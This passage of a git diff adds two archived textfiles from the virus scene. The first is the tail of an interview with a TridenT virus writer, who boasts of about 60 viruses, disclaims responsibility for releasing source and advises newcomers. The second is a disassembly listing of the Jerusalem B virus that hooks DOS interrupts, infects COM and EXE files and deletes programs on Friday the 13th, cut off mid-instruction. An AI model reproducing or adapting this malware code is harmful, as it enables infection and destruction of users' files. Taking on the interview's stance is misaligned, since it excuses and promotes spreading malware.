Now only viruses... + + Do you have some network connection (some sort of e-mail or something)? + +- Well, we have our private TridenT network, but I had a connection + on email, but I think I am sorta locked out... + + Can you name a few viruses/engines that members of TridenT have + written? + +- Yes, for example : Pogue, PlayGame, TPE, Mirror, Circus Clusters, + Cybertech, Servant, Thunderdome, Civil War, Weirdo, Horns of Jericho, + Flue, April30, Bit Addict (the non-destructive ones), OW 0-10, + New Creeping Death, Smile, Yeah and many, many others. + + Which of them have you written yourself? + + There are many... I guess around 60 or so... But the most known are + Circus Clusters, Servant and OW 0-10. Some other viruses like deicide + are the be known as myne, but it's not with this name and I don't + want to be assosiated with the old name anymore. + + Which one was the hardest to write? + +- Circus Clusters was an interesting experiment, and I had a little + trouble making the virus stable enough (which you could see in an + old crypt newsletter, I made it up for you in a newer one). + + Do you have any sort of company or law-enforcement who are trying + bust TridenT? + +- I guess so, we have released an awful lot of viruses in a relatively + short time, so I wouldn't be suprised if CRI or so are watching us + carefully, but I think we aren't illegal in any way. I never released + my viruses in the wild, only as source or in an archive accompanied by + a message and/or source code. + + If so, are they a real threat or just "childish"? + + I think they could be a real threat, not only for us, but for + censoring the whole scene. That would be very bad. I am not so + worried for myself, but more about the fact that the antivirus + business has become a very awful thing with CARO which wanted to + set up a murky database and hunt people down. + + Have you ever had any trouble in the group with the result of kicked + member(s)? + +- No... Sometimes we have a discussion getting around, but it's only a + matter of time before it dissolves. No one ever has been kicked out + and only will be if he can be really dangerous to other members. + + Do you call a lot, and if so how (phone/internet etc.) + +- I used to call a lot, but when momma saw the phone-bill, I have to + stay put.. I didn't call any board since a month and it will take + some time before I can begin again... (Gotta pay first). + + Do you have any couriers that spread your products around? + +- Well, if you mean uploading viruses to unsuspecting users, I must say + "NO". Only interested people can get it from us. We used to drop it + on "Arrested Development" on that time, but are now using another + base that will be much more informative (no hard feelings, AD!). + + What do you think about the laws against h/p/v that has arrived lately? + + It's a very sad business. What I want to do on _my_ computers is no + ones business. If I want to release a virus on my system, who's to say + I may not? And giving source code to someone to see how a virus works, + is _that_ illegal? They're just plain textfiles! Other people compile + and release them, it's not my responsibility. They can also watch and + say "This is nice" and then throw it away. The laws in The Netherlands + are vague and not very specific. These laws would also make virus + researchers illegal if they send samples to eachother. + + What do you think about various news-papers thinking us as nerds? + + Have a good laugh at them. I just wear hair curlers in my beard and + a condom on my nose in order to ward off radiation (hello Dr. J. + Popp! (Aids Trojan)). No let them think their way, I think my way. + + Has the scene in any way influented on your real life? + + No. I'm absolutely schizo! In real life I am ...#^#%$#@ and then it's + like a switch is pulled over and I am John Tardy of TridenT. Sometimes + it's like there are two persons in me, and can't even remember what + virus I actually wrote... Luckily enough it's for me to switch over, + so I don't need any doctor or something like that. I think everyone + has two persons in him, but they opress the other side. Quite + interesting, but not in this issue. + + Whould you feel guilty if one of your viruses made damage to a + hospital? + +- Yes. For me it's only to get other viruses to research or for learning + the inner tricks of DOS. If by some programming fault of mine a person + in a hospital gets a lethal injection, I would be terribly sorry + indeed, because that's never what I wanted. + + Do you see any differences between the scene now and a couple of years + ago (concerning the underground part of course)? + +- No, but I do hear a lot more of more people. The first groups that + were then very young (and childish) are now grown up (Phalcon/Skism) + and have become very talented programmers. Now the new groups are + popping up (Immortal Riot) and are just behaving like Nuke in the + beginning. But that's a stage we all have to pass. + + Which virus-magazine do you think is the best available nowadays? + + I read 40Hex with pleasure and reading score is high. The Nuke + Infojournal contains a lot of rubbish for me (I am not interested in + phreaking) and it's a pain for me to download it. + + Which virus-group/programmer do you admire/like? + +- The best programmer I've ever seen is Bit Addict. He doesn't make a + virus very often, but when he finally makes one, it's a very nice one. + In the beginning I admired Dark Avenger, but I didn't like his INT13 + or INT26 routines at all. I must say, he started with the nice ideas + and the (even) more talented programmers progress on his work + (mutation engines). + + Which country is the best virus-writing today? + +- Well, I don't think it depends on country anymore, because of the + international virus groups, but I think it's TridenT together with + Phalcon/Skism that produces the best viruses. Don't understand me + wrong, but Nuke has a stealth routine which they must alter, because + it doesn't work if you wanna stealth a virus on a write protected + disk. Look at "Mirror" of Bit Addict and I think you have a nice + playground! + + Which virus-group(s) do you think is the best? + +- TridenT and Phalcon/Skism, as they solely produce nice viruses and + don't do any side activities like hacking/phreaking... + + What do you think about these virus generators, such as VCL and PS-MPC? + +- Nice, but real virus writers create their own code, but it's nice to + see it working and you can sometimes learn from the generated source + code. + + What do you think about such individues as board-crashers? + +- ~~~+++~~~ ATH0 or simply : hangup! + + Describe the perfect virus : + +- A fully stealth virus using polymorphic techniques and various + ways of infecting strange types of file to escape total annihilation. + (infecting OBJ or NLM's). Read for a perfect description the text + Vesselin Bontchev wrote (Possible attacks of a computer virus). + + Describe the perfect viruscoder : + + A person that is totally unaware of his other side and can live two + lives apart, his dark side and his normal side. + + Describe the AV-community with a few lines : + +- I don't like all commercial products, but encourage shareware, as it + is also for the normal computer user important to protect their + computer. + + Which AV-program do you think is the best, and why? + +- I like Thunderbyte, but it has some flaws. I like DEBUG a lot ;-) + + What do you think about the underground's future? + +- I don't know how long it will last, but I think the next generations + of virus groups will only write Windows NT or OS/2 viruses. + +Do you know/heard of any new technics coming in the near future? + +- Yes. I think the new breed of viruses will analyse any type of code + run and tries to insert it somewhere in there. With protected mode + programming it's possible to stay away from any scanner and control + everything. As a result, such virus could infect a .MOD file somewhere + halfway if it's contains executable code which is run. Also own + compression mechanisms are nice (take Cruncher for an example, but it + utilized the Diet algorithm). + + Any advice to people who want's to learn the basic of virus-writing? + +- Buy a good book of P. Norton and read some virus mags. It's all you + will need nowadays. For excellent ideas read the mail of Vesselin + Bontchev. Sometimes without realizing it he gives good ideas... + + Can you be reached somewhere (on a board/e-mail address/internet)? + +- No, only a few people can contact me, because my shortage of time... + I was on echomail, but I think my account is gone. + + Something else you wish to say? + + Well, I'll send you the letter The Unforgiven never seemed to receive + and a message to the antivirus community : + + "If you had helped me in the first place, there wouldn't be a + John Tardy or a TridenT. Think that over again and help people + who want to support the antivirus community. For me it's too + late to return, but other interested users can be helped. Only + of this commercial behaviour some people start writing them. + Think twice. Big mouths but even bigger fools sometimes." + + Do you wish to send any greets? + +- Yes, but the list is very long, so I greet here : Phalcon/Skism, Nuke, + ofcourse the rest of Immortal Riot, The Crypt Newsletter staff and + Arrested Development. Further greets to all other virus writers who + doesn't make destructive viruses. + + John Tardy / TridenT + + My last words for now : + + INCENDERE SUUS + DAMNARE SUUS VITA + DARE SUUS AD ART VENTUS + CAPARE SUUS + ET FACERE SUUS + FERIRE SUUS PERSICUM CUTIS + + NUDUS, TURPIS + PUTRIDUS, FINDERE. + + ACERBUS, CRUDUS, + RAPTUS, CONTEMPTIO. + + MORDAX, ATTERERE + INFICERE, BILIS. + NAM TUUS SCELUS + AMABILIS + TU LICET PERIRE + AD ANTE TU + HABERE AEQUUS SIC + DOLOR NIL FINIS + EGO LIBERARE ART ULTIMUS INIURIA. + + Ps. The last thing is to read over for the smart ones. Read it and think. + Intelligence is our most dangerous weapon. \ No newline at end of file diff --git a/textfiles.com/virus/jvvirus.txt b/textfiles.com/virus/jvvirus.txt new file mode 100644 index 00000000..25c95d0a --- /dev/null +++ b/textfiles.com/virus/jvvirus.txt @@ -0,0 +1,814 @@ +This is the Jerusalem B Virus. +"JV.MOC" PAGE 0001 + +0000:0000 E99200 JMP X0095 +0000:0003 7355 JAE X005A +0000:0005 4D DEC BP +0000:0006 7344 JAE X004C +0000:0008 6F73 JG X007D +0000:000A 0001 ADD [BX+DI],AL +0000:000C BD1700 MOV BP,0017H +0000:000F 0000 ADD [BX+SI],AL +0000:0011 06 PUSH ES +0000:0012 00A5FE00 ADD [DI+Y00FEH],AH +0000:0016 F016 LOCK PUSH SS +0000:0018 17 POP SS +0000:0019 7702 JA X001D +0000:001B BF053D MOV DI,03D05H +0000:001E 0CFB OR AL,0FBH +0000:0020 7D00 JGE X0022 +0000:0022 0000 X0022: ADD [BX+SI],AL +0000:0024 0000 ADD [BX+SI],AL +0000:0026 0000 ADD [BX+SI],AL +0000:0028 0000 ADD [BX+SI],AL +0000:002A 0000 ADD [BX+SI],AL +0000:002C 0000 ADD [BX+SI],AL +0000:002E E8062A CALL X2A37 +0000:0031 B10D MOV CL,0DH +0000:0033 800000 ADD BYTE PTR [BX+SI],00H +0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL +0000:003A 0D5C00 OR AX,005CH +0000:003D B10D MOV CL,0DH +0000:003F 6C00 JL X0041 +0000:0041 B10D X0041: MOV CL,0DH +0000:0043 0004 ADD [SI],AL +0000:0045 5F POP DI +0000:0046 0F POP CS +0000:0047 B400 MOV AH,00H +0000:0049 C1 RET ; INTRASEGMENT +0000:004A 0D00F0 X004A: OR AX,0F000H +0000:004D 06 PUSH ES +0000:004E 004D5A ADD [DI+05AH],CL +0000:0051 2000 AND [BX+SI],AL +0000:0053 1000 ADC [BX+SI],AL +0000:0055 1900 SBB [BX+SI],AX +0000:0057 0800 OR [BX+SI],AL +0000:0059 7500 JNZ X005B +0000:005B 7500 X005B: JNZ X005D +0000:005D 6901 X005D: JNS X0060 +0000:005F 1007 ADC [BX],AL +0000:0061 8419 TEST BL,[BX+DI] +0000:0063 C500 LDS AX,[BX+SI] +0000:0065 6901 JNS X0068 +0000:0067 1C00 SBB AL,00H +0000:0069 0000 ADD [BX+SI],AL +0000:006B 4C X006B: DEC SP +0000:006C B000 MOV AL,00H +0000:006E CD21 INT 021H +0000:0070 050020 ADD AX,02000H +0000:0073 0037 ADD [BX],DH + +"JV.MOC" PAGE 0002 + +0000:0075 121C ADC BL,[SI] +0000:0077 0100 ADD [BX+SI],AX +0000:0079 0210 ADD DL,[BX+SI] +0000:007B 0010 ADD [BX+SI],DL +0000:007D 17 X007D: POP SS +0000:007E 0000 ADD [BX+SI],AL +0000:0080 53 PUSH BX +0000:0081 61E8 JNO X006B +0000:0083 38434F CMP [BP+DI+04FH],AL +0000:0086 4D DEC BP +0000:0087 4D DEC BP +0000:0088 41 INC CX +0000:0089 4E DEC SI +0000:008A 44 INC SP +0000:008B 2E43 INC BX +0000:008D 4F DEC DI +0000:008E 4D DEC BP +0000:008F 0100 ADD [BX+SI],AX +0000:0091 0000 ADD [BX+SI],AL +0000:0093 0000 ADD [BX+SI],AL +0000:0095 FC X0095: CLD +0000:0096 B4E0 MOV AH,0E0H +0000:0098 CD21 INT 021H +0000:009A 80FCE0 CMP AH,0E0H +0000:009D 7316 JAE X00B5 +0000:009F 80FC03 CMP AH,03H +0000:00A2 7211 JB X00B5 +0000:00A4 B4DD MOV AH,0DDH +0000:00A6 BF0001 MOV DI,0100H +0000:00A9 BE1007 MOV SI,0710H +0000:00AC 03F7 ADD SI,DI +0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H] +0000:00B3 CD21 INT 021H +0000:00B5 8CC8 X00B5: MOV AX,CS +0000:00B7 051000 ADD AX,0010H +0000:00BA 8ED0 MOV SS,AX +0000:00BC BC0007 MOV SP,0700H +0000:00BF 50 PUSH AX +0000:00C0 B8C500 MOV AX,00C5H +0000:00C3 50 PUSH AX +0000:00C4 CB RET ; INTERSEGMENT +0000:00C5 FC X00C5: CLD +0000:00C6 06 PUSH ES +0000:00C7 2E8C063100 MOV CS:[Y0031H],ES +0000:00CC 2E8C063900 MOV CS:[Y0039H],ES +0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES +0000:00D6 2E8C064100 MOV CS:[Y0041H],ES +0000:00DB 8CC0 MOV AX,ES +0000:00DD 051000 ADD AX,0010H +0000:00E0 2E01064900 ADD CS:[Y0049H],AX +0000:00E5 2E01064500 ADD CS:[Y0045H],AX +0000:00EA B4E0 MOV AH,0E0H +0000:00EC CD21 INT 021H +0000:00EE 80FCE0 CMP AH,0E0H +0000:00F1 7313 JAE X0106 +0000:00F3 80FC03 CMP AH,03H + +"JV.MOC" PAGE 0003 + +0000:00F6 07 POP ES +0000:00F7 2E8E164500 MOV SS,CS:[Y0045H] +0000:00FC 2E8B264300 MOV SP,CS:[Y0043H] +0000:0101 2EFF2E4700 JMP CS:[Y0047H] +0000:0106 33C0 X0106: XOR AX,AX +0000:0108 8EC0 MOV ES,AX +0000:010A 26A1FC03 MOV AX,ES:Y03FCH +0000:010E 2EA34B00 MOV CS:Y004BH,AX +0000:0112 26A0FE03 MOV AL,ES:Y03FEH +0000:0116 2EA24D00 MOV CS:Y004DH,AL +0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H +0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH +0000:0127 58 POP AX +0000:0128 051000 ADD AX,0010H +0000:012B 8EC0 MOV ES,AX +0000:012D 0E PUSH CS +0000:012E 1F POP DS +0000:012F B91007 MOV CX,0710H +0000:0132 D1E9 SHR CX,1 +0000:0134 33F6 XOR SI,SI +0000:0136 8BFE MOV DI,SI +0000:0138 06 PUSH ES +0000:0139 B84201 MOV AX,0142H +0000:013C 50 PUSH AX +0000:013D EAFC030000 JMP X0000_03FC +0000:0142 8CC8 MOV AX,CS +0000:0144 8ED0 MOV SS,AX +0000:0146 BC0007 MOV SP,0700H +0000:0149 33C0 XOR AX,AX +0000:014B 8ED8 MOV DS,AX +0000:014D 2EA14B00 MOV AX,CS:Y004BH +0000:0151 A3FC03 MOV Y03FCH,AX +0000:0154 2EA04D00 MOV AL,CS:Y004DH +0000:0158 A2FE03 MOV Y03FEH,AL +0000:015B 8BDC MOV BX,SP +0000:015D B104 MOV CL,04H +0000:015F D3EB SHR BX,CL +0000:0161 83C310 ADD BX,0010H +0000:0164 2E891E3300 MOV CS:[Y0033H],BX +0000:0169 B44A MOV AH,04AH +0000:016B 2E8E063100 MOV ES,CS:[Y0031H] +0000:0170 CD21 INT 021H +0000:0172 B82135 MOV AX,03521H +0000:0175 CD21 INT 021H +0000:0177 2E891E1700 MOV CS:[Y0017H],BX +0000:017C 2E8C061900 MOV CS:[Y0019H],ES +0000:0181 0E PUSH CS +0000:0182 1F POP DS +0000:0183 BA5B02 MOV DX,025BH +0000:0186 B82125 MOV AX,02521H +0000:0189 CD21 INT 021H +0000:018B 8E063100 MOV ES,[Y0031H] +0000:018F 268E062C00 MOV ES,ES:[Y002CH] +0000:0194 33FF XOR DI,DI +0000:0196 B9FF7F MOV CX,07FFFH +0000:0199 32C0 XOR AL,AL + +"JV.MOC" PAGE 0004 + +0000:019B F2AE X019B: REPNE SCASB +0000:019D 263805 CMP ES:[DI],AL +0000:01A0 E0F9 LOOPNZ X019B +0000:01A2 8BD7 MOV DX,DI +0000:01A4 83C203 ADD DX,0003H +0000:01A7 B8004B MOV AX,04B00H +0000:01AA 06 PUSH ES +0000:01AB 1F POP DS +0000:01AC 0E PUSH CS +0000:01AD 07 POP ES +0000:01AE BB3500 MOV BX,0035H +0000:01B1 1E PUSH DS +0000:01B2 06 PUSH ES +0000:01B3 50 PUSH AX +0000:01B4 53 PUSH BX +0000:01B5 51 PUSH CX +0000:01B6 52 PUSH DX +0000:01B7 B42A MOV AH,02AH +0000:01B9 CD21 INT 021H +0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H +0000:01C1 81F9C307 CMP CX,07C3H +0000:01C5 7430 JZ X01F7 +0000:01C7 3C05 CMP AL,05H +0000:01C9 750D JNZ X01D8 +0000:01CB 80FA0D CMP DL,0DH +0000:01CE 7508 JNZ X01D8 +0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH] +0000:01D5 EB20 JMP X01F7 +0000:01D7 90 NOP +0000:01D8 B80835 X01D8: MOV AX,03508H +0000:01DB CD21 INT 021H +0000:01DD 2E891E1300 MOV CS:[Y0013H],BX +0000:01E2 2E8C061500 MOV CS:[Y0015H],ES +0000:01E7 0E PUSH CS +0000:01E8 1F POP DS +0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H +0000:01EF B80825 MOV AX,02508H +0000:01F2 BA1E02 MOV DX,021EH +0000:01F5 CD21 INT 021H +0000:01F7 5A X01F7: POP DX +0000:01F8 59 POP CX +0000:01F9 5B POP BX +0000:01FA 58 POP AX +0000:01FB 07 POP ES +0000:01FC 1F POP DS +0000:01FD 9C PUSHF +0000:01FE 2EFF1E1700 CALL CS:[Y0017H] +0000:0203 1E PUSH DS +0000:0204 07 POP ES +0000:0205 B449 MOV AH,049H +0000:0207 CD21 INT 021H +0000:0209 B44D MOV AH,04DH +0000:020B CD21 INT 021H +0000:020D B431 MOV AH,031H +0000:020F BA0006 MOV DX,0600H +0000:0212 B104 MOV CL,04H + +"JV.MOC" PAGE 0005 + +0000:0214 D3EA SHR DX,CL +0000:0216 83C210 ADD DX,0010H +0000:0219 CD21 INT 021H +0000:021B 32C0 XOR AL,AL +0000:021D CF IRET +0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H +0000:0224 7517 JNZ X023D +0000:0226 50 PUSH AX +0000:0227 53 PUSH BX +0000:0228 51 PUSH CX +0000:0229 52 PUSH DX +0000:022A 55 PUSH BP +0000:022B B80206 MOV AX,0602H +0000:022E B787 MOV BH,087H +0000:0230 B90505 MOV CX,0505H +0000:0233 BA1010 MOV DX,01010H +0000:0236 CD10 INT 010H +0000:0238 5D POP BP +0000:0239 5A POP DX +0000:023A 59 POP CX +0000:023B 5B POP BX +0000:023C 58 POP AX +0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH] +0000:0242 7512 JNZ X0256 +0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H +0000:024B 50 PUSH AX +0000:024C 51 PUSH CX +0000:024D 56 PUSH SI +0000:024E B90140 MOV CX,04001H +0000:0251 F3AC REPE LODSB +0000:0253 5E POP SI +0000:0254 59 POP CX +0000:0255 58 POP AX +0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H] +0000:025B 9C X025B: PUSHF +0000:025C 80FCE0 CMP AH,0E0H +0000:025F 7505 JNZ X0266 +0000:0261 B80003 MOV AX,0300H +0000:0264 9D POPF +0000:0265 CF IRET +0000:0266 80FCDD X0266: CMP AH,0DDH +0000:0269 7413 JZ X027E +0000:026B 80FCDE CMP AH,0DEH +0000:026E 7428 JZ X0298 +0000:0270 3D004B CMP AX,04B00H +0000:0273 7503 JNZ X0278 +0000:0275 E9B400 JMP X032C +0000:0278 9D X0278: POPF +0000:0279 2EFF2E1700 JMP CS:[Y0017H] +0000:027E 58 X027E: POP AX +0000:027F 58 POP AX +0000:0280 B80001 MOV AX,0100H +0000:0283 2EA30A00 MOV CS:Y000AH,AX +0000:0287 58 POP AX +0000:0288 2EA30C00 MOV CS:Y000CH,AX +0000:028C F3A4 REPE MOVSB + +"JV.MOC" PAGE 0006 + +0000:028E 9D POPF +0000:028F 2EA10F00 MOV AX,CS:Y000FH +0000:0293 2EFF2E0A00 JMP CS:[Y000AH] +0000:0298 83C406 X0298: ADD SP,0006H +0000:029B 9D POPF +0000:029C 8CC8 MOV AX,CS +0000:029E 8ED0 MOV SS,AX +0000:02A0 BC1007 MOV SP,0710H +0000:02A3 06 PUSH ES +0000:02A4 06 PUSH ES +0000:02A5 33FF XOR DI,DI +0000:02A7 0E PUSH CS +0000:02A8 07 POP ES +0000:02A9 B91000 MOV CX,0010H +0000:02AC 8BF3 MOV SI,BX +0000:02AE BF2100 MOV DI,0021H +0000:02B1 F3A4 REPE MOVSB +0000:02B3 8CD8 MOV AX,DS +0000:02B5 8EC0 MOV ES,AX +0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH] +0000:02BC 2E03062B00 ADD AX,CS:[Y002BH] +0000:02C1 83D200 ADC DX,0000H +0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH] +0000:02C9 8ED8 MOV DS,AX +0000:02CB 8BF2 MOV SI,DX +0000:02CD 8BFA MOV DI,DX +0000:02CF 8CC5 MOV BP,ES +0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH] +0000:02D6 0BDB OR BX,BX +0000:02D8 7413 JZ X02ED +0000:02DA B90080 X02DA: MOV CX,08000H +0000:02DD F3A5 REPE MOVSW +0000:02DF 050010 ADD AX,01000H +0000:02E2 81C50010 ADD BP,01000H +0000:02E6 8ED8 MOV DS,AX +0000:02E8 8EC5 MOV ES,BP +0000:02EA 4B DEC BX +0000:02EB 75ED JNZ X02DA +0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH] +0000:02F2 F3A4 REPE MOVSB +0000:02F4 58 POP AX +0000:02F5 50 PUSH AX +0000:02F6 051000 ADD AX,0010H +0000:02F9 2E01062900 ADD CS:[Y0029H],AX +0000:02FE 2E01062500 ADD CS:[Y0025H],AX +0000:0303 2EA12100 MOV AX,CS:Y0021H +0000:0307 1F POP DS +0000:0308 07 POP ES +0000:0309 2E8E162900 MOV SS,CS:[Y0029H] +0000:030E 2E8B262700 MOV SP,CS:[Y0027H] +0000:0313 2EFF2E2300 JMP CS:[Y0023H] +0000:0318 33C9 X0318: XOR CX,CX +0000:031A B80143 MOV AX,04301H +0000:031D CD21 INT 021H +0000:031F B441 MOV AH,041H +0000:0321 CD21 INT 021H + +"JV.MOC" PAGE 0007 + +0000:0323 B8004B MOV AX,04B00H +0000:0326 9D POPF +0000:0327 2EFF2E1700 JMP CS:[Y0017H] +0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H +0000:0332 74E4 JZ X0318 +0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH +0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H +0000:0342 2E89168000 MOV CS:[Y0080H],DX +0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS +0000:034C 50 PUSH AX +0000:034D 53 PUSH BX +0000:034E 51 PUSH CX +0000:034F 52 PUSH DX +0000:0350 56 PUSH SI +0000:0351 57 PUSH DI +0000:0352 1E PUSH DS +0000:0353 06 PUSH ES +0000:0354 FC CLD +0000:0355 8BFA MOV DI,DX +0000:0357 32D2 XOR DL,DL +0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH +0000:035D 7505 JNZ X0364 +0000:035F 8A15 MOV DL,[DI] +0000:0361 80E21F AND DL,01FH +0000:0364 B436 X0364: MOV AH,036H +0000:0366 CD21 INT 021H +0000:0368 3DFFFF CMP AX,0FFFFH +0000:036B 7503 JNZ X0370 +0000:036D E97702 X036D: JMP X05E7 +0000:0370 F7E3 X0370: MUL BX +0000:0372 F7E1 MUL CX +0000:0374 0BD2 OR DX,DX +0000:0376 7505 JNZ X037D +0000:0378 3D1007 CMP AX,0710H +0000:037B 72F0 JB X036D +0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H] +0000:0382 1E PUSH DS +0000:0383 07 POP ES +0000:0384 32C0 XOR AL,AL +0000:0386 B94100 MOV CX,0041H +0000:0389 F2AE REPNE SCASB +0000:038B 2E8B368000 MOV SI,CS:[Y0080H] +0000:0390 8A04 X0390: MOV AL,[SI] +0000:0392 0AC0 OR AL,AL +0000:0394 740E JZ X03A4 +0000:0396 3C61 CMP AL,061H +0000:0398 7207 JB X03A1 +0000:039A 3C7A CMP AL,07AH +0000:039C 7703 JA X03A1 +0000:039E 802C20 SUB BYTE PTR [SI],020H +0000:03A1 46 X03A1: INC SI +0000:03A2 EBEC JMP X0390 +0000:03A4 B90B00 X03A4: MOV CX,000BH +0000:03A7 2BF1 SUB SI,CX +0000:03A9 BF8400 MOV DI,0084H +0000:03AC 0E PUSH CS + +"JV.MOC" PAGE 0008 + +0000:03AD 07 POP ES +0000:03AE B90B00 MOV CX,000BH +0000:03B1 F3A6 REPE CMPSB +0000:03B3 7503 JNZ X03B8 +0000:03B5 E92F02 JMP X05E7 +0000:03B8 B80043 X03B8: MOV AX,04300H +0000:03BB CD21 INT 021H +0000:03BD 7205 JB X03C4 +0000:03BF 2E890E7200 MOV CS:[Y0072H],CX +0000:03C4 7225 X03C4: JB X03EB +0000:03C6 32C0 XOR AL,AL +0000:03C8 2EA24E00 MOV CS:Y004EH,AL +0000:03CC 1E PUSH DS +0000:03CD 07 POP ES +0000:03CE 8BFA MOV DI,DX +0000:03D0 B94100 MOV CX,0041H +0000:03D3 F2AE REPNE SCASB +0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH +0000:03D9 740B JZ X03E6 +0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH +0000:03DF 7405 JZ X03E6 +0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH] +0000:03E6 B8003D X03E6: MOV AX,03D00H +0000:03E9 CD21 INT 021H +0000:03EB 725A X03EB: JB X0447 +0000:03ED 2EA37000 MOV CS:Y0070H,AX +0000:03F1 8BD8 MOV BX,AX +0000:03F3 B80242 MOV AX,04202H +0000:03F6 B9FFFF MOV CX,0FFFFH +0000:03F9 BAFBFF MOV DX,0FFFBH +0000:03FC CD21 X03FC: INT 021H +0000:03FE 72EB JB X03EB +0000:0400 050500 ADD AX,0005H +0000:0403 2EA31100 MOV CS:Y0011H,AX +0000:0407 B90500 MOV CX,0005H +0000:040A BA6B00 MOV DX,006BH +0000:040D 8CC8 MOV AX,CS +0000:040F 8ED8 MOV DS,AX +0000:0411 8EC0 MOV ES,AX +0000:0413 B43F MOV AH,03FH +0000:0415 CD21 INT 021H +0000:0417 8BFA MOV DI,DX +0000:0419 BE0500 MOV SI,0005H +0000:041C F3A6 REPE CMPSB +0000:041E 7507 JNZ X0427 +0000:0420 B43E MOV AH,03EH +0000:0422 CD21 INT 021H +0000:0424 E9C001 JMP X05E7 +0000:0427 B82435 X0427: MOV AX,03524H +0000:042A CD21 INT 021H +0000:042C 891E1B00 MOV [Y001BH],BX +0000:0430 8C061D00 MOV [Y001DH],ES +0000:0434 BA1B02 MOV DX,021BH +0000:0437 B82425 MOV AX,02524H +0000:043A CD21 INT 021H +0000:043C C5168000 LDS DX,[Y0080H] + +"JV.MOC" PAGE 0009 + +0000:0440 33C9 XOR CX,CX +0000:0442 B80143 MOV AX,04301H +0000:0445 CD21 INT 021H +0000:0447 723B X0447: JB X0484 +0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H] +0000:044E B43E MOV AH,03EH +0000:0450 CD21 INT 021H +0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH +0000:0459 B8023D MOV AX,03D02H +0000:045C CD21 INT 021H +0000:045E 7224 JB X0484 +0000:0460 2EA37000 MOV CS:Y0070H,AX +0000:0464 8CC8 MOV AX,CS +0000:0466 8ED8 MOV DS,AX +0000:0468 8EC0 MOV ES,AX +0000:046A 8B1E7000 MOV BX,[Y0070H] +0000:046E B80057 MOV AX,05700H +0000:0471 CD21 INT 021H +0000:0473 89167400 MOV [Y0074H],DX +0000:0477 890E7600 MOV [Y0076H],CX +0000:047B B80042 MOV AX,04200H +0000:047E 33C9 XOR CX,CX +0000:0480 8BD1 MOV DX,CX +0000:0482 CD21 INT 021H +0000:0484 723D X0484: JB X04C3 +0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H +0000:048B 7403 JZ X0490 +0000:048D EB57 JMP X04E6 +0000:048F 90 NOP +0000:0490 BB0010 X0490: MOV BX,01000H +0000:0493 B448 MOV AH,048H +0000:0495 CD21 INT 021H +0000:0497 730B JAE X04A4 +0000:0499 B43E MOV AH,03EH +0000:049B 8B1E7000 MOV BX,[Y0070H] +0000:049F CD21 INT 021H +0000:04A1 E94301 JMP X05E7 +0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH] +0000:04A8 8EC0 MOV ES,AX +0000:04AA 33F6 XOR SI,SI +0000:04AC 8BFE MOV DI,SI +0000:04AE B91007 MOV CX,0710H +0000:04B1 F3A4 REPE MOVSB +0000:04B3 8BD7 MOV DX,DI +0000:04B5 8B0E1100 MOV CX,[Y0011H] +0000:04B9 8B1E7000 MOV BX,[Y0070H] +0000:04BD 06 PUSH ES +0000:04BE 1F POP DS +0000:04BF B43F MOV AH,03FH +0000:04C1 CD21 INT 021H +0000:04C3 721C X04C3: JB X04E1 +0000:04C5 03F9 ADD DI,CX +0000:04C7 33C9 XOR CX,CX +0000:04C9 8BD1 MOV DX,CX +0000:04CB B80042 MOV AX,04200H +0000:04CE CD21 INT 021H + +"JV.MOC" PAGE 0010 + +0000:04D0 BE0500 MOV SI,0005H +0000:04D3 B90500 MOV CX,0005H +0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT + R (SI) +0000:04D9 8BCF MOV CX,DI +0000:04DB 33D2 XOR DX,DX +0000:04DD B440 MOV AH,040H +0000:04DF CD21 INT 021H +0000:04E1 720D X04E1: JB X04F0 +0000:04E3 E9BC00 JMP X05A2 +0000:04E6 B91C00 X04E6: MOV CX,001CH +0000:04E9 BA4F00 MOV DX,004FH +0000:04EC B43F MOV AH,03FH +0000:04EE CD21 INT 021H +0000:04F0 724A X04F0: JB X053C +0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H +0000:04F8 A15D00 MOV AX,Y005DH +0000:04FB A34500 MOV Y0045H,AX +0000:04FE A15F00 MOV AX,Y005FH +0000:0501 A34300 MOV Y0043H,AX +0000:0504 A16300 MOV AX,Y0063H +0000:0507 A34700 MOV Y0047H,AX +0000:050A A16500 MOV AX,Y0065H +0000:050D A34900 MOV Y0049H,AX +0000:0510 A15300 MOV AX,Y0053H +0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H +0000:0518 7401 JZ X051B +0000:051A 48 DEC AX +0000:051B F7267800 X051B: MUL WORD PTR [Y0078H] +0000:051F 03065100 ADD AX,[Y0051H] +0000:0523 83D200 ADC DX,0000H +0000:0526 050F00 ADD AX,000FH +0000:0529 83D200 ADC DX,0000H +0000:052C 25F0FF AND AX,0FFF0H +0000:052F A37C00 MOV Y007CH,AX +0000:0532 